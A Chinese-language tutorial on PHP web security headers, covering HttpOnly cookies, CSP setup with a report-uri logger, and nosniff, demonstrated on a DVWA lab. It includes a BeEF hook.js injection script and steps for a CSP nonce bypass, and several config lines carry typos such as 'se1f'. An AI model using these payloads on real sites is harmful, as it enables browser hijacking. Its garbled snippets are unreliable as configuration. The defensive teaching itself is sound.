安全配置——基线检查
XSS中的Get Cookie攻击,可以通过在set-cookle字段中增加httponly属性来限制jS读取Cookie,但并不能从根本上解决XSS攻击,因为获取Cookie并非XSS的唯—攻击方式。
可以采用以下方式添加限制:
1.在php.ini配置文件中进行cookie只读设置的开启(有效范围:全局)
# 找到session.cookie_httponly =
修改为:
session.cookie_httponly = on
2.在php代码顶部设置(有效范围:当前页面)
<?php
ini_set("session.cookie_httponly",1);
?>
3.在setcookie函数中第7个参数中设置〈有效范围:当前cookie)
<?php
setcookie( "mycookie","myvalue", time()+3600,'/','woniuxy.com',null,true);
?>
另外的防御方案就是对用户的输入进行各种校验,过程非常繁琐,还容易出错或者遗漏。
CSP的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
CSP大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。有两种方法可以启用CSP。
Content-Security-Policy: script-src 'se1f'; object-src 'none'; style-src cdn.example.org third-party.org;child-src https:
在(主页)PHP代码中直接使用header()函数定义响应头内容即可
<meta http-equiv= "content-Security-Policy" content="script-src 'se1f'; object-src 'none'; style-srccdn.example.org third-party.org; child-src https:">
上面代码中,CSP做了如下配置:
default-src : 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加戟策略,如果某类型资源没有单独定义策略,就使用默认的。
script-src 'self' http://www.woniumote.com,对于脚本:只信任当前域名自己和http://www.woniumote.com
object-src 'none ',对于<object>标签:不信任任何URL,即不加载任何资源
style-src,对于样式表:只信任cdn.example.org和third-party.org
child-src https,对于框架〈frame)∶必须使用HTTPs协议加载,注意冒号是https协议的一部分
对于其他资源:如果未定义,则使用default-src
—旦启用,不符合CSP的外部资源就会被阻止不进行加载。
header ("content-Security-policy: script-src 'self'");
// header("Content-Security-Policy: script-src 'self' http://192.168.233.150:3000");
// header("Content-Security-Policy: script-src 'self' http://192.168.233.150:3000 'unsafe-inline'");
此时在beef的恶意代码注入的位置,访问:http://192.168.233.150:3000/hook.js,并打开浏览器的F12,查看浏览器安全提示如下:
在Content-Security-Policy中,我们还可以设置report-uri属性,用于向一个指定的服务器地址提交JSON格式的安全报告
header("Content-Security-policy: script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php");
将上诉函数代码放到首页代码中,我这是index.php
一旦访问到受攻击页面并触发了脚本执行,浏览器除了阻止攻击脚本执行外,还会按照以下JSON格式提交安全报告内容
{
"csp-report":{
"blocked-uri":"http://192.168.233.150:3000/hook.js",
"document-uri":"http://localhost/DVWA/vulnerabilities/csp/index.php",
"original-policy":"script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php",
"referrer":"http://localhost/DVWA/vulnerabilities/csp/index.php",
"violated-directive":"script-src"
}
}
csp_report.php的代码如下:
//功能:收集csp的report报告的JSON数据,进行写入文件
$time = date('Y-m-d H:i:s');
$file = fopen('../../upload/csp/csp_report.txt','a'); //以追加方式打开文件
$data = file_get_contents('php://input'); //利用伪协议取得POST请求内容
$json = json_decode($data, true); //true表示生成关联数组
fwrite($file, 'report-time: ' . $time . "\r\n"); //注意:\r\n必须在双引号中
foreach ($json['csp-report'] as $key => $value){
fwrite($file, $key . ":" . $value . "\r\n");
}
fwrite($file,"\r\n----------------------------r\n");
fclose($file);
?>
我们可以进入一个存在XSS注入漏洞的页面,使之触发以上代码执行,并在csp_report.txt文件中输出以下内容:
report-time: 2022-11-06 17:00:56
blocked-uri:http://192.168.233.150:3000/hook.js
document-uri:http://localhost/DVWA/vulnerabilities/csp/
original-policy:script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php
referrer:http://localhost/DVWA/vulnerabilities/csp/
violated-directive:script-src
----------------------------
小细节:
- 我用的是DVWA中的csp页面
- 需要设置报告所在目录为可写权限,或者直接将其遍历后保存到数据库中。
- 设置响应头的Content-Security-Policy-Report-Only字段,则可以不拦截,只上报。
#允许服务器自己和来自http://192.168.233.155的脚本源 header("content-Security-policy: script-src 'se1f' http://192.168.233.155"); #允许服务器自己和来自http://192.168.233.155的脚本源,并允许行内代码执行 header("content-Security-Policy: script-src 'se1f' http://192.168.233.155 'unsafe-inline'"); #以下没有包含在
步骤:1.访问DVWA的csp页面 2.先将beef生成的恶意js代码填入提交 <script src="http://192.168.233.150:3000/hook.js">script> 3.发现报错,并提示一串字符:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=,这时候可以查查nonce是什么意识 4.将这一串字符添加到<script>标签中,进行提交,成功弹窗 <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(44444)script>
- CSP的绕过策略
参考链接: https://www.jianshu.com/p/f1de775bc43e4. 其他安全响应头
- X-Content-Type-Options
互联网上的资源有各种类型,通常浏览器会根据响应头的Content-Type字段来分辨它们的类型。例如:"text/htm1"代表html文档, "image/png"是PNG图片,“text/css"是CSS样式文档。然而,有些资源的Content-Type是错的或者未定义。这时,某些浏览器会启用MIME-sniffing来猜测该资源的类型,解析内容并执行。
例如,我们即使给一个Ttml文档指定Content-Type为"text/plain”,在IE8-中这个文档依然会被当做html来解析。利用浏览器的这个特性,攻击者甚至可以让原本应该解析为图片的请求被解析为JavaScript。通过下面这个响应头可以禁用浏览器的类型猜测行为:X-Content-Type-Options: nosniff
- X-XSS-Protection
顾名思义,这个响应头是用来防范XSS的。现在主流浏览器都支持,并且默认都开启了XSS保护,它有几种配置:
最后,安全问题很重要,有些配置或许用不上,但尽量不要去改变它原有的安全配置。